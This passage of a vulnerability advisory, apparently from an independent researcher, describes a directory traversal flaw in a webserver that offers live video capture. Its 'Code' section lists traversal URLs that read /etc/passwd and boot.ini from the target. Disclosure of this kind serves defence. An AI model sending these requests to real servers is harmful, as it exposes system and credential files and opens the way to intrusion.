The server also allows live video capture. ####################################################################### ====== 2) Bug ====== The webserver uses no protection to avoid the directory traversal bug. The problem happens when the attacker uses the classic pattern "/../" that allows him to see and download any file in the remote system knowing the path. This allows any attacker to : Read and download any local file, and in most cases retrieve the machine's password files and invade it (using ssh,ftp,http,netbios,samba etc...). ####################################################################### =========== 3) The Code =========== http://<host>/../etc/passwd http://<host>/../../etc/passwd http://<host>/../../../boot.ini http://<host>/../../../../boot.ini ####################################################################### --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Things that are unlikeable, are NOT impossible."
